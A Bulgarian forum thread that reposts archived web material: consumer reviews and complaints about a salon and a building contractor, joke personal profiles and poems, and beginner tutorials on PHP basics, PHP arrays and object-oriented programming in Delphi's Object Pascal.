Аз съм много доволна от всички услуги, които предлага салон Ч. - Р.!!! Всичко се прави с голям професионализъм и персонала са много печени!!! Явно човека по-горе е от конкуренцията :)
Написано от Мари
Явно, че второто мнение е писано от собственичката на салона...мнго е тъпо и наивно...как пък едно друго хубаво мнение за този салон няма в интернет
Написано от Грета
Мисля,че и аз съм ходила в този салон , ако не бъркам - има голямо текучество - все различни хора работят там...
Написано от Петя Павлова
Хаха, не съм ходила в този салон, но явно коментарите са от конкуренцията, която я е страх. Непременно ще посетя салона и ще споделя мнение. Междудругото, моя позната ходи там на фотоепилация и е много доволна."
-
А това само показва, че съм бил прав (редактирайки (http://www.seo-forum-seo-luntan.com/other-languages/a-ee-ooe-me-ot-otmate-o/msg50834/#msg50834) по-горе), защото никога не се знае дали е искрено оплакване или скалъпено от някой хейтър, нелоялен конкурент, психично болен и т. н. Нека си ги има тук, за история и за съдържание, но да не се пуска нищо бездоказателствено (а, ако е такова, т. е. да няма доказателства, то поне да е без конкретните имена, населени места и друго можещо да има негативни последствия инфо). 8)
-
Което е вярно, вярно е. :)
-
Незабравимо! ;) "прост асистент (не доцент или доктор) дискриминира половете пред очие на студентите. Унизяващо.
Ето този даскал ... отценва момичета по външния им вид. Недопустимо и непрофесионално в системата на образованието. На вниманието на министъра,и на управата на Ю. университет."
;D
Дали наистина бе правил така? Или е оТценВал (оценявал) правилно? ;)
-
Това за топлоизолация, някаква фирма...
"Фирма "Б. 2" ЕООД, град В. с дейност: поставяне на топлоизолации, строителни работи, "НОВА ТЕРАСА ЗА 7 ДНИ" и др. /АЛА БАЛА/.
Некачествена работа, недовършване на обектите, използване на евтини материали, некоректно отношение към клиента. НЕ правете грешката да се възползвате от техните услуги колкото и ниска да е цената и колкото и да са привлекателни условията които предлагат."
Коментари:
"Mitko
Еххх в днешно време трудно да попаднеш на читави майстори... И аз лично испатих много с 1 фирма за топлоизолации дори не помна как се казваше ама ръцете си оставиха. Ходих да им копувам материяли даже, че иначе щеше да се проточи още толква :D
Неизвестен
За нищо не стават тия. НЕ ГИ НАЕМАЙТЕ ЗА НИЩО НА СВЕТА. СПОСОБНИ СА ДОРИ И ДА НАПРАВЯТ БЕЛИ...
Атанас Динков
Изключително некачествена работа, бих казал даже некадърна. Много некоректни, ако не се бях намесил щях да бъда излъган и да платя неизвършена работа и не само. Това което е написано за 5 години гаранция е ЛЪЖА. От 4 месеца се опитвам да извикам някой да я уважи, тая все още някаква надежда..... Никакъв контрол от страна на господин Г. П. - който се подвизава като "управител". Обещаните 5 дни, който аз бях приел за 10 реални, станаха 40.......
Не ги наемайте в никакъв случай, ама в никакъв....
milena dobreva
az iskam da se opla4a ot firma t. pos16tiq na4in rabotiha!mn ne ka4estveno mn ne korektni k1m klientite!izolaciqta ne stava za ni6tu i ne spazvat dogovora! ne gi naemaite nikoga stra6no ne kad1rni alpinisti i maistori
persys
az sum sushto klient na firma B.
za otzivite napraveni po gore
moga da kaja :
che spored men sa smehotvorni i neistina
za 15 rabotni dni firmata ni izgradi 11 metrova terasa
i vutreshen remont na kuhnqta,kato tq be prevurnata v staq
sega s udovolstvie moga da kaja, che moiata terasa
e napravena i izglejda mnogo po dobre ot vsi4ki terasi naokolo
adresa mi e jk V. ... ,bl ... ,vx ...,ap ...
Атанас Динков
Persys,
Изчакай да завали силен дъжд или още по-добре сняг който да навява...... Надявам се, че поне при теб са си свършили работата, за която им е платено и няма да имаш проблеми. Ако ти се наложи да търсиш прословутата им гаранция, ще разбереш за какво говоря.
недоволна варненка
Напълно съм съгласна с коментарите относно тази фирма "Б. 2". Некачествена работа и безхаберие! След като си получат договорената сума не идват да откорегират грешките си. Не ги наемайте в никакъв случай! Аз даже мисля да се обърна към комисията за защита на потребителя, защото мн пари дадох, а качеството е никакво!"
-
За един фалшив сайтец:
"Сайтът е фалшив - това не е представител на апарати за България - ВНИМАВАЙТЕ !
Сайтът е фалшив - това не е представител на апарати за България - ВНИМАВАЙТЕ ! ... ... .com/"
Кофти уебмастъри си ги има! :(
-
Една простичка, но важна за всеки сайт анкета:
"Харесва ли Ви този сайт?
- Да, много ми харесва.
- Горе-долу, може и по-добре.
- Важното е, че го има :).
- Не, много е зле."
:) :) :) :) :) :) :) :) :) :)
-
Разни профили, които бяха понякога живи смешки ;D
1. "Възраст: <!--age->19 години.
Зодия: <!--zodia->rak
E-mail: <!--email-> ...
Хоби: <!--hobi->da se osyvarshenstvam v tova koeto moga ...
Интереси: <!--interesi->interesuvam se ot m/ynarodnite konflikti, ot vselenata, ot psihikata na momichetata ...
Повече за мен
mnoo sa biim tuka"
2. "Възраст: <!--age->24 години.
Зодия: <!--zodia->овен
E-mail: <!--email->...
Хоби: <!--hobi->жени, жени, жени
Интереси: <!--interesi->интернет
Повече за мен
Забавен и общителен тип, без никакви задръжки... :) Обичам жените, PC и електронната музика.
"
3. "Възраст: <!--age->25 години.
Зодия: <!--zodia->Водолей
E-mail: <!--email-> ...
Хоби: <!--hobi->Акваристика
Интереси <!--interesi->Компютри, програмиране, спорт, музика
Повече за мен
Около мен няма нищо кои знае колко интересно.. :) всичко си е normal. С мой приятел подържаме този сайт и за да бъда 'за пример' :) създадох тази страничка с програмата предложена в секцията 'Лични страници'. Естествено, всеки може да ми пише на горепосочения mail, за каквото и да става въпрос."
4. "Възраст: <!--age->24 години.
Зодия: <!--zodia->овен
E-mail: <!--email-> ...
Хоби: <!--hobi->риболов
Интереси <!--interesi->компютри, интернет, музика
Повече за мен
Повече за мен? Ами няма повече.. :) Само това за сега. Грижа се за сайта ... .com и най-вече за IRC канал # ... . Ако имате някакви въпроси задайте ги на горепосочения e-mail адрес."
5. "Възраст: <!--age->21 години.
Зодия: <!--zodia->Скорпион
E-mail: <!--email-> ...
Хоби: <!--hobi->Internet
Интереси: <!--interesi->Жените
Повече за мен
Казвам се ... ... ... .Роден сам в град Г. Живея в град С. и уча висше трета година в град В. Обичам да се занимавам с компютри и главно с интернет.Обичам хората които ме обичат и също така уважавам хората които ме уважават но мразя лъжата и двуличието повече от всичко на света.Липсва ми любов.Липсва ми ужасно!!!"
5. "
Възраст: <!--age->16 години.
Зодия: <!--zodia->рак
E-mail: <!--email->...
Стихчета
Копнеж
Вятърът в косите ми свисти,
а в очите ми сълза блести,
ден и нощ се чудя аз дали
към мен изпитваш нещо ти!
Всяка вечер аз мечтая
да се запозная с теб,
може даже името ти
да не зная,
но пак се чувствам
свързана с теб.
Да си близо силно аз желая
нещо в теб ме заплени,
наистина единствено
за тебе си мечтая,
сърцето ми не спира
да тупти.
Надали ще мога да забравя
тези огнени очи,
погледа отправен към
безкрая - от това,
че теб те няма
наистина боли!!!
Откровение
Иска ми се да забравя тоя гаден ден,
в който те видях и нещо трепна в мен,
ти ме омагъоса - взе моята душа,
но прозрачните окови не можах да разруша.
Щом те видя раждат се мечти без брой,
Искам да обичам и ти да бъдеш мой,
дните отминават, времето лети,
но как да те обичам щом не искаш ти?
Ако трябва ще си тръгна аз от твоя живот
и без това не свързваш с мен думата любов,
а без любов животът е мъгла,
мъгла, която ме обгръща и ме скрива от света.
Ако нямаш чувства - моля те не ме лъжи,
ако ме видиш ти да плача - по-добре ме остави,
нека чрез горчивите сълзи
да излея чувствата, които в мен разпали ти!
"
:) ;)
-
Отмарям малко предновогодишно и продължавам с профили и смешки, но не че всичките са смешни.
6. "Възраст: <!--age->20 години.
Зодия: <!--zodia->Oven
E-mail: <!--email-> ...
Хоби: <!--hobi->Internet,Football,
Интереси: <!--interesi->Vsqkakvi :)
Повече за мен
Kazvam se ... ... .Ot grad K. sam,owner v kanala na grada # ... .Student v Tehni4eskiq Universitet grad S.,spec. Komunikacii v bita i biznesa.Pove4e za men /q ...
"
7. Някакъв ИРК-канал:
"Възраст: <!--age->na okolo 8 месеца.
Зодия: <!--zodia->....
E-mail: <!--email-> ...
Хоби: <!--hobi->....
Интереси <!--interesi->.....
Повече за IRC канала
Ami...kanala e syzdanen ot priqteli za priqteli...
na okolo 8 meseca e...drygo drygo..
elate i shte vidite :)
Eto nqkoi snimki na xora koito redovno poseshtavat
# ... ... :
1.AirMonkey(17god. gr Varna)
2.Pak AirMonkey :)))
3.AIR_MAN(17 god gr Varna)
4.FREEJACK(silistra)
5.BOBO_101(Bobo-USA)
6.kobe__8(Ivo gr Varna)
7.originalen_nick(Viktor 19god gr Varna)
8.Toli(23god gr Pleven)
9.^3e|\eHoOkaTa^(15god gr Varna)
10.Luca(28god Italiq)"
8. " Възраст: <!--age->17 години.
Зодия: <!--zodia->Скорпион
E-mail: <!--email-> ...
Хоби: <!--hobi->пиша фантастика
Интереси: <!--interesi->програмиране, писане на игри, 3D графики
Повече за мен
Слушам предимно рок и метал, занимавам се спрограмиране от около 3 години. В свободното си време пиша фантастика.
Жиевя в С., уча в НПМГ, специалност физика.
Не се притеснявйте да ме потърсите по E-mail
Можете също така да посетите моя сайт:
...
"
9. "Възраст: <!--age->22 години.
Зодия: <!--zodia->Лъв
E-mail: <!--email-> ...
Хоби: <!--hobi->Sex, Sex, Sex
Интереси: <!--interesi->Music, Internet, EXTREM SPORTS, MOTORCYCLES
Повече за мен
Moga li vsi4ko da znam :))))
"
10. "Възраст: <!--age->26 години.
Зодия: <!--zodia->Козирог
E-mail: <!--email-> ...
Хоби: <!--hobi->PC, хаус-музика
Интереси: <!--interesi->Музика, коли, ски"
-
Аз, да ви се похваля така де, вече ограничих пиенето, дори за Нова година (!!!) и затова мога да предоставям архивни неща; да допринасям ехей...
Малко за програмирането, па макър и от преди много години:
"Голяма част от синтаксиса си PHP наследява от C, но все пак той е създаван за писане на Web скриптове
Въведение: добавяне на PHP код
Можете да добавяте блокове PHP код към същестуващи HTML документи, оставяйки HTML кода незасегнат. Също така можете да вкарвате блокове HTML код в PHP кода - това е удобно, когато трябва да изведете на екрана голямо количесто HTML код. Началото на PHP код се отбелязва с <?php, а края - с ?>. Между тези тагове можете да имате само PHP код, но за сметка на това можете да ги разполагате където си поискате. Това означава че можете да имате PHP код между таговете <TD> и <TD>, а също така да прекъснете PHP кода посредата на условен оператор за да изведете блок от HTML код. А след това да се върнете към същия този условен оператор. С други думи когато използвате множество тагове <?php ?> кода продължава от там, където е свършил. Ако трябва да бъдем точни, целия документ представлява един общ код - HTML кода е просто е режим, в който на екрана единствено се извежда HTML код - така не трябва да използвате специален оператор за всеки един изведен ред.
Променливи
Променливите са едно от нещата, с които се започва изучаването на всеки език. В PHP променливите нямат определен тип данни. С други думи типа на променливата е същия, като типа на последно присвоената й стойност. Можете последователно да присвоявате числа, низове и дори масиви към една и съща променлива.
Друго важно нещо за променливите е, че не е необходимо да ги декларирате. Ако се опитате да използвате променлива, на която не е присвоена стойност, то PHP автоматично ще я счете за 0 или празен низ, в зависимост дали очаква да му бъде подадено число или низ. Всички променливи започват със символа $. Когато в низ, затворен в кавични използвате променлива, PHP я замества с нейната стойност. Тук идва и голямата разлика между низовете, затворени в апострофи или кавички. Ако са затворени в кавички, то низовете се интерполират - т.е. всички променливи се заменят с техните стойности, управляващите символи като \n и \t се изпълняват, а ако приложите някакви действия над променливите - като умножение - всички изчисления се осъществяват преди извеждането на крайния низ. В низовете, затворени в апострофи, се заместват само определени символи с техните еквиваленти, например \' със '
Важно е да се отбележи, че в PHP имената на променливите са чувствителни към главни/редовни букви. С други думи, $dog, $Dog и $DOG за три различни променливи
Оператори
PHP е наследил аритметичните оператори от C. Това са:
+ събиране
- изваждане
* умножение
/ деление
++ увеличава текущата стойност на променливата с единициа
-- намалява текущата стойност на променливата с единица
= присвояване
+= прибавя към текущата стойност на променливата
-= изважда от текущата стой
Извеждане на информация на екрана
Общо за всички езици за програмиране в Web е, че информацията се извежда в Web браузър и следователно трябва да извеждате HTML код. Същестуват два оператора, които можете да използвате за да изведете нещо на екрана. Това са echo и print Няма значение кой от тях ще използвате - просто след него поставяте в кавички това, което искате да се изведе. Например:
print "<B>My very first PHP page</B>"
Събиране на низове
Макар и числата да се събират чрез оператора +, то за низовете не е препоръчително използването му. Вместо това съществува специален оператор - .. Също така всила е и оператора .=, който прибавя слеващия го низ към текущата стойност на променливата. Т.е. ако имате кода:
$dog="Dog";
$dog.=" and Cat";
То променливата $dog ще съдържа низа "Dog and Cat"
От кода по-горе може да се види и още нещо важно - всеки оператор завършва с точка и запетая.
Условен оператор
Условния оператор е задължителна част от всеки един език за програмиране. PHP запазва условния операор от C - if. Неговия синтксис е:
if(условие)
{код, който се изпълнява, ако условието е изпълнено}
else
{код, който се изпълнява, ако условието не е изпълнено}
Частта else не е задължителна.
В качеството на условие вие можете да проверявате стойностите на една или повече променливи. Тук е момента да споменем операторите за сравняване и логическите оператори. В PHP съществуват следните оператори за сравняване:
== - равно на
< - по-малко
> - по-голямо
<= - по-малко или равно на
>= - по-голямо или равно на
!= - не равно на
В PHP има още един оператор за сравнение - ===. Той е изпълнен, само ако двете стойности са равни и от един и същи тип. Какво означава това? В PHP няма типове променливи - само типове данни. Следователно, можете да присвоите на променливата $first=2, а на $second="2". Ако проверите дали са равни чрез
if ($first==$second)
то условието ще е изпълнено. От друга страна едното е низ, другото е число. За оператора === условието няма да е изпълнено - трябва да сравнявате два низа или две цели числа
Логическите оператори се използват за проверка стойностите на повече от една променлива. Те включват логическото "и" и логическото "или"
&& - "и" - условието е изпълнено, ако и двете сравнения са вярни
|| - "или" - условието е изпълнено, ако едно от двете сравнения е вярно
! - "не" - обръща верността на следващия го израз (т.е. ако го следва "вярно" става "невярно и обратното; например условието !(6<5) е изпълнено)
Избор между повече от един вариант
Операторът if е полезен, когато трябва да изпълните едно действие, ако дадено условие е изпълнено, и друго - ако не е. Но какво ще стане, ако ви трябват 10 различни действия в зависимост от стойността на променливата. Бихте могли да напишете 10 последователни оператора if..else но това решение е тромаво и трудоемко. Затова PHP ви предоставя оператора switch, който има следния синтаксис:
swithc ($променлива){ case условие: код; break; case условие: код; breaк; default: код; }
Така можете да изпълните неограничен брой кодове при различни изпълнени условия за една и съща променлива. Операторът break служи за да прекъсне изпълнението на switch, в противен случай след изпълнението на което и да е условие, ще се изпълнят всички по-нататъчни блокове код. Което понякога е много полезно :) Кода след default се изпълнява в случай че нито едно от условията е изпълнено. Ето един пример:
switch ($Grade) {
case $Grade>70:
echo ("You got an A.");
break;
case $Grade>60:
echo ("You got a B.");
break;
case $Grade>50:
echo ("You got a C.");
break;
case $Grade>40:
echo ("You got a D.");
break;
case $Grade>25:
echo ("You got an E. ");
break;
default:
echo ("You failed");
}
Можете да използвате директно стойности, в случай че не ви трябва сравнение.
switch ($Grade) {
case 70:
echo ("You got an A.");
break;
case 60:
echo ("You got a B.");
break;
case 50:
echo ("You got a C.");
break;
case 40:
echo ("You got a D.");
break;
case 25:
echo ("You got an E. ");
break;
default:
echo ("You failed");
}
Но блоковете код ще се изпълнят само ако $Grade е точно 70,60,50,50 или 25 - ако е 26 ще се изпълни кода на defaulf. Също така можете да използвате низови стойности - само не забравяйте да ги затворите в кавички
Циклични оператори
Цикличните оператори за изключително полезни, когато трябва да повторите един и същи код няколко пъти и заедно с условните оператори са част от всеки един език. PHP предоставя следните циклични оператори:
while (условие){
код
}
Кодът в този случай ще се изпълнява докато е изпълнено условието. Ако първоначално условието не е изпълнено, то и кодът никога няма да се изпълни. Важно е да променяте стойността на условието вътре в цикъла - иначе никога няма да излезете от него. Ако искате кодът първо да бъде изпълнен, а след това да се провери условието и евентуално да се изпълни отново, трябва да използвате следващия оператор:
do{
код
}
while (условие);
Цикличния оператор for ви дава значително повече контрол. Синтаксиса му е:
for (start; condition; end){
код
}
Кодът в start се изпълнява само веднъж при влизане в цикъла и обикновени се използва за инициализация на променлива, която да следи изпълнението на цикъла. condition е условието - докато то е изпълнено, цикъла продължава да се повтаря. Кодът в end се изпълнява накрая на всеки цикъл и обикновено се използва за промяна на условието. Обърнете внимание, че във всеки един от блоковете start и end можете да имате повече от един оператор, разделени със запетая. Ето един пример:
for (i=0, j=100; i<10; i++, j-=10){
код
}"
-
Още за пиейчпи, ръйш ли... :)
Учете се, да сте преди години:
В PHP променливите нямат тип - една и съща променлива би могла първоначално да е числова, а в последствие да съдържа низ. Същата тази променлива би могла да съдържа и масив. За да създадете масив е достатъчно просто да сложите индекс на дадена променлива. В такъв случай вие веднага записвате стойност за този индекс и превръщате променливата в масив. Масивът се обозначава с квадрарни скоби, между които се вписва индекса. Принципно съществуват два типа масиви - обикновени масиви и асоциативни масиви, наричани още хеш-таблици. Асоциативни масиви например има в Perl. В PHP, който до голяма степен е наследил синтаксиса си от C и Perl, масива е едновременно обикновен и асоциативен. И можете да използвате една и съща променлива за двата типа - просто декларирате примерно масива $array, присвоявате съответните стойности на $array[1], $array[2] и $array[3] и го третирате като обикновен. Обикновения масив има предимството, че можете да използвате променлива в качеството на индекс и по този начин в рамките на един цикъл да прочетете или присвоите стойности на всички елементи. След това взимате същия този масив и присвоявате стойности за $array["first"], $array["second"] и $array["third"]. Вече имате масив с три елемента и три ключа. По същия начин можете да създавате многомерни масиви. Просто присвоявате стойност на $array[4][1]. Ако присвоите стойност на $array2[10], тогава имате масив с един елемент; но ако се опитате да използвате първите 9 елемента PHP няма да даде грешка - просто ще ги приеме за 0.
PHP предлага богат набор от функции за обработка на масиви - някои специално за улесняване на работата с асоциативни масиви, други универсални за двата типа. Ще започна с няколко функции, които връщат масив и често се използват за неговото създаване. Първата от тях е функцията array(), която приема неограничен брой аргументи и връща масив със записани съответните стойности от аргументите. Ето един пример:
$array = array("not used", "first", "second", "third") Този код създава масив с елементи $array[0] = "not used", $array[1] = "first", $array[2] = "second" и $array[3] = "third". Обърнете внимание че по подразбиране, първия индекс на масива е 0, а не 1.
Друга функция, връщаща масив, е range, която приема два аргумента - начална и крайна стойност, и връща масив, съдържащ стойностите между началната и крайна стойност, определени от аргументите. Ако не желаете стойностите в масива да са поредни числа, можете да определите трети аргумент, който дефинира разликата между две поредни стойности. Т.е. ако извикате функцията range(2,10,2) ще получите масив, съдържащ четните числа от 2 до 10. Интересно за тази функция е, че в качеството на па първите два аргумента може да използвате букви. Ако извикате например функцията range('a', 'z') то тя ще върне масив, съдържащ английската азбука :)
С помощта на array() може да се създаде и асоциативен масив - просто трябва да укажете двойките ключ - стойност:
$array = array("first" => "1st", "second" => "2nd", "third" => "3rd")
Едно от големите предимства на масивите е възможността да преминете през всички елементи. Най-простия начин е просто да използвате един цикъл for и в него да използвате променлива в качеството на индекс на масива. Например:
for(i=0; i<10; i++){
echo "<BR>$array";
}
Този метод обаче е неприложим за асоциативен масив. PHP предоставя специални функции за работа с асоциативни масиви. Обърнете внимание, че обикновения масив също може да бъде третиран като асоциативен, в който ключовете са съответно 1, 2, 3 и т.н.
PHP използва указател за да определи текущия елемент от масива. PHP помни всички елементи в реда в който да дефинирани и може да премине последователно през всеки от тях. За да получите текущия елемент, трябва да използвате функцията current. Ако все още не сте извиквали никоя функция, променяща текущата позиция, то current() ще върне първия елемент от масива. Фунцкията next() премества указателя с един елемент напред и връща съотвения елемент; prev() премества указателя с един елемент назад. И трите функция взимат като единствен аргумент масив, с който да работят. Функцията key връща ключа (или индекса) на текущия елемент. Функциите reset() и end() приемат като аргумент масив и слагат указателя съответно на първата или последната позиция.
Друга функция за преминаване през масива е each() Тя приема единствен аргумент масив и връща друг масив, съдържащ двойката стойност-ключ на текущата позиция, след което премества текущата позиция с едно напред. Обърнете внимание че за разлика от next() и prev(), функцията променя позицията след като е върнала стойноста. Върнатия масив съдържа 4 стойности, като елементите 0 и "key" съдържат ключа, а 1 и "value" - стойността (т.е. функцията връща двойката ключ стойност както като асоциативен, така и като обикновен масив)
Сортиране на масиви
Функцията sort() приема един аргумент - масив и връща същия масив, в който стойностите обаче са подредени по азбучен ред. Ако подадете асоциативен масив обаче, клювовете ще бъдат заменени с поредни номера. За асоциативни масиви съществува функцията asort() която прави същото, което и sort(), но запазва имената на ключовете. Ако искате да подредите масива в обратен на азбучния ред, можете да използвате функциите rsord() и arsort(). Още една възможност при сортирането е да сортирате не по стойност, а по ключ. Затова служи функцията ksort(), която приема асоциативен масив и го връща същия, но двойките ключ-стойност са подредени спрямо ключовете по азбучен ред. Съотвено можете да използвате и функцията krsort() за сортиране на масив по ключ в обратен на азбучния ред. За да обърнете реда на елементите в масива, можете да използвате функцията array_reverse(), която приема като единствен аргумент масив и врyща пренаредения масив
В някои езици същестуват стекове. Стековете са друг тип масиви, в които важи принципа "Последен влязъл - пръв излязъл". Т.е. можете последователно да добавяте стойности към масива но в даден момент можете да извлечете само последната въведена стойност. За да извадите първата стойност, трябва да извадите една по една всички следващия стойности. Подобно поведение понякога е изключително полезно и PHP го реализира като част от масива, като просто предоставя функции за добавяне на елемент и изваждане на последния елемент. PHP стига още по-далеч - предоставя функции за добавяне в началото на масива (при което елементите ще бъдат преномерирани за да запазят първия елемент с индекс 0) и изваждане на първия елемент от масива (при което отново следва преномерация на елементите). Характерното за изваждащите функции е, че те променят масива - функцията премахва елемента от масива и връща същия този елемент. Функцията за добавяне на елемент към масива е array_push() - тя приема два или повече аргумента, като първия е масив, към който да добави елементи, а следващите - съответните елементи. Функцията за изваждане на последния елемент е array_pop() която приема единствен аргумент масив и връща последната стойност от него. Фунцкията за добавяне в началото на масива е array_unshift() и е аналогична на array_push(); функцията за изваждане на първия елемент е array_shift()
PHP предоставя още много функции за масиви, но аз ще разгледам само най-често използваните от тях. Функцията count() приема като аргумент масив и връща броя на стойностите в него.
array_keys() приема един или два аргумента, първия от които е масив. Ако не е определен втори аргумент, функцията връща масив, съдържащ всички ключове в масива (включително и числовите индекси). Ако е посочен втори аргумент, функцията връща масив, съдържащ тези ключове, чиито стойности са равни на втория аргумент
array_values() действа по същия начин, като array_keys(), но връща масив със стойностите от подадения. При нея не съществува втори аргумент (би било безсмислено да извлизате стойноста за определен ключ, защото можете да го направите с директно обръщение към масива, например $array[100])
Интересна е функцията array_count_values() Тя приема аргумент масив и връща масив, в който ключовете са стойностите от масива, а стойностите - колко пъти е срещана дадената стойност в подадения масив. Т.е. извикването на функцията $array = array (1, "hello", 1, "world", "hello") ще върне масив, с елементи $array[1]=2, $array["hello"]=2 и $array["world"]=1
Много интересна е и функцията array_flip() която приема масив и връща масив, в който ключовете са стойностите от подадения масив, а стойностите - ключовете от подадения масив. С други думи функцията връща масив, в който са разменени двойките ключ-стойност. Ако в подадения масив има няколко еднакви стойности, следователно в поличения масив няколко еднакви ключа, то във върнария масив като стойност се записва посления срещнат ключ с дадената стойност
array_key_exist() приема ключ и масив в който да търси и връща true, ако в масива същестува такъв ключ. В противен случай връща false.
in_array() прави същото, но проверява дали първия аргумент присъства в стойностите на масива
array_search() отново приема стойност и масив. За разлика от in_array() функцията връща ключа, съответстваща на стойността, определене от първия аргумент, ако тя е намерена или false в противен случай.
Понякога е полезно да имате масив с произволни стойности. Можете да използвате функцията rand() при създаване на масива, за да получите произволни стойности; PHP предоставя две подобни функции, които имат за цел обаче да върнат произволен елемент от вече въведен масив. Функцията shuffle приема като аргумент масив и подрежда стойностите в него в произволен ред. Обърнете внимание, че за разлика от повечето функции тази не връща масив, а променя оригиналния. Функцията array_rand приема два аргумента, първия от които масив а втория - количество ключове, които да бъдат избрани. Връща масив, съдържащ толкова елементи, колкото са определени от втория аргумент на функцията и съдържащ произволно избрани ключове.
-
Сега, да се разберем че Delphi е среда за разработка и компилиране на програми, написани на Object Pascal език за програмиране. После да няма неразбрал или неразбрала или пък неразбрали. ;D
Object Paskal
или как е реализирано обектно-ориентираното програмиране в Delphi
Дълбоко в основата на Delphi стои езика Paskal. Това е една от причините Delphi понякога да бъде пренебрегван като среда за разработка. Но както в основата на Visual C++ не стои C, така и Delphi е базирано на един нов език, изграден на основата на Paskal но със значителни подобрения - Object Paskal. Delphi е предназначен за писане на софтуер под Windows - поради тази причина е наложително езика, на който е изграден, да покрива някои стандарти. Съществува една огромна разлика между програмирането под DOS и под Windows - дори и на един и същи език. А целта на Delphi е да улесни максимално разработката на Windows приложения. Затова още с първата версия на Delphi е представен езика Object Paskal - обектно-ориентирана версия на своя предшественик Paskal. Макар с развитието на Delphi да се развива и Objcet Paskal, аз тук ще представя ключовите концепции на езика, без да се впускам в излишни подробности. На първо място Object Paskal е обектно-ориентиран език, затова разбирането на обектно-ориентираното програмиране е важно за разбирането на Delphi; разбирането на Object Paskal е важно за ефективното разработване на софтуер с Delphi и е задължително за създаването на собсвтени контроли.
Винаги, когато пиша за един обектно-ориентиран език, започвам с това какво значи обектно-ориентиран. Програмите в Windows отговарят на събития - щракване с мишката, натискане на клавиш от клавиатурата или нещо друго. Без тези действия програмата не прави нищо - просто си стои на екрана и чака потребителя да предприеме нещо. Т.е. програмиста трябва да напише код за всяко едно събитие, на което отговаря програмата - този процес се нарича обработка на събитие. Всеки един елемент в програмата е обект; обект е бутона, текстовото поле, самия прозорец; главното меню на програмата е обект, обект е и всеки елемент на менюто. Най-общо казано, всеки един компонент, който сложите във формата по време на проектиране на приложението, както и самата форма, е обект. Обектът се състои от променливи (които се наричат свойства), процедури и функции (които се наричат методи). Самия обект представлява екземпляр на клас. Т.е. можете да имате един клас и неограничено количество обекти от този клас. С други думи, класа е тип данни; обектът е променлива от този тип. Следователно, класовете са в основата на обектно-ориентираното програмиране.
Ако сте разглеждали кода, генериран от Delphi още при създаването на формата, вероятно сте забелзали ключовата дума class. Тя показва началото на дефиницията на клас. Класовете, както и всеки друг тип данни, се декларират в частта type на кода. Край на дефиницията на клас се указва по стандартния начин - с end;. В дефиницията на класа се включват всички негови променливи, както и прототип на процедурите и функциите. Деклариране на прототип означава, че в класа записвате само името на процедурата или функцията, приеманите аргументи и, ако става въпрос за функция, типа на връщаната стойност. Самата функция с пълния й код се декларира извън класа. Ето пример за декларацията на клас:
person = class
gender: (male, female);
age: integer;
name: String;
familyName: String;
procedure IncreaseAge;
function GetAge: integer;
end;
За класовете са характерни два специфични типа процедури - констукрора и деструктора. Конструктора е процедура, която се извиква при създаване на обекта, деструктора - при неговото унищожение. Обикновено за име на конструктор се използва Create, а за деструктор - Destroy. Тези две процедури се дефинират с ключовите думи constructor и destructor респективно. Съответната ключова дума не се слага пред procedure а вместо нея. Работата на конструктора и деструктора е да резервират и освободят паметта, необходима за съхраняването на обекта. Но не е необходимо да пишете код за това - Delphi автоматично отделя необходимата памет при извикването на конструктор. Затова трябва да предефинирате стандартния конструктор само ако искате да осъществите някакаква инициализация на свойствата - подразбиращия се конструктор инициализира всички стойности на 0.
След като сте дефинирали методите, трябва и да ги напишете. Реализацията на методите се извършва извън самия клас - в класа само се дефинира името на метода и какви аргументи приема, както и типа на връщаната стойност, ако става дума за функция. Дефинирането става чрез написването на името на метода, предхождан от името на класа, разделени със запетая. Т.е. методите на класа в предишния пример ще се напишат така:
procedure Person.IncreaseAge;
begin
//код на процедурата
end;
function Person.GetAge:Integer;
begin
//код на функцията
end;
Друго основно понятие в обектно-ориентираното програмиране е капсулирането. Това означава скриването на определени свойства от света извън класа. Например ако имате клас със свойство, съдържащо датата, безсмислено е да оставяте достъпа до него свободен - невнимателния потребител може да му присвои датата 30 февруари и да предизвика грешка. Много по-добра практика е предоставянето на метод, който да проверява валидността на данните и тогава да променя свойствата, отколкото да се позволява директната промяна. Всяко едно свойство или метод може да се декларира като private, public или protected, като се използва една от тези ключови думи пред него (всъщност всяка от тези думи декларира всяко свойство или метод след нея като съответен тип, докато не бъде срещната някоя от другите думи или не се стигне до края на дефиницията на класа). Ако дадено свойство или метод е декларирано като public, то то е общодостъпно - т.е. може да бъде четено и променяно от всяка една функция, независимо дали е декларирана в или извън класа. Ако е декларирано като private, то само методите на конкретния клас имат достъп до свойството. Когато е декларирано като protected, до него имат достъп както методите на дадения клас, така и всеки друг клас, който го наследява. Тук стигаме до една от ключовите концепции на обектно-ориентираното програмиране: наследяването. Всеки клас може да наследи друг клас, при което получава всички методи и свойства на родителския. Това е изключително полезно, когато трябва да имате няколко класа, всеки от които се различава по няколко елемента от предишния. Вместо всеки път да декларирате едни и същи свойства и методи, можете да дефинирате един клас като родителски и в дъщерния само да добавите необходимите ви елементи. Достатъчно е само при декларирането на клас да определите и неговия родителски клас и вече имате копие на всички свойства и методи. Ако сте разглеждали кода, генериран от Delphi, сигурно сте забелязвали декларации от типа TForm1 = class(TForm). Този код декларира класа TForm1 като дъщерен на TForm. Има едно много важно нещо за наследяването. То е, че винаги можете да подадете дъщерен клас там, където се очаква родителски. Едно от следствията на това е, че ако имате клас TParent и негов дъщерен клас, TChild, то на променлива от тип TParent можете да присвоите обект от тип TChild. Т.е. винаги на проманлива от родителски клас можете да присвоите негов дъщерен.
Макар методите практически да представляват процедури и функции, същестуват някои съществени разлики. Например методите имат един скрит параметър, който е обръщение към текущия обект. Това е ключовата дума self. Винатги, когато трябва да се обърнете към текущия обект, можете да използвате Self вместо името - това означава, че дори не е необходимо да знаете името на обекта. Този параметър е изключително ценен, когато имате няколко обекта от един и същи клас - защото метода винаги ще трябва да променя свойствата на съответния обект, за който е извикан. В интерес на истината, използването на Self често се пропуска - можете да направите директни присвоявания към свойствата и те ще се отразят на текущия обект. Но понякога този параметър е незаменим и никога не е излишно ползването му - най-малкото за писането на по-четлив код.
Една от ключовите концепции на обектно-ориентираното програмиране е предефинирането на методи. Това означава, че можете да имате няколко метода с едно и също име, но различни по брой или по тип параметри. При изпълнение на програмата се извиква този метод, ня който съответстват подадените методи. Предефинирането на методи е много полезно, когато работите с дещерни класове и искате да отмените родителски метод - или напълно да го премахнете, или да промените действието му. В Object Paskal това се осъществява чрез ключовата думе overload, която трябва да следва всяка една от декларациите на методите (но не и на техните реализации). Ето един пример:
T3DPoint = class
private
x: integer;
y: integer;
z: integer;
dimensions: 2..3;
public
procedure SetCoord(newX, newY: integer); overload;
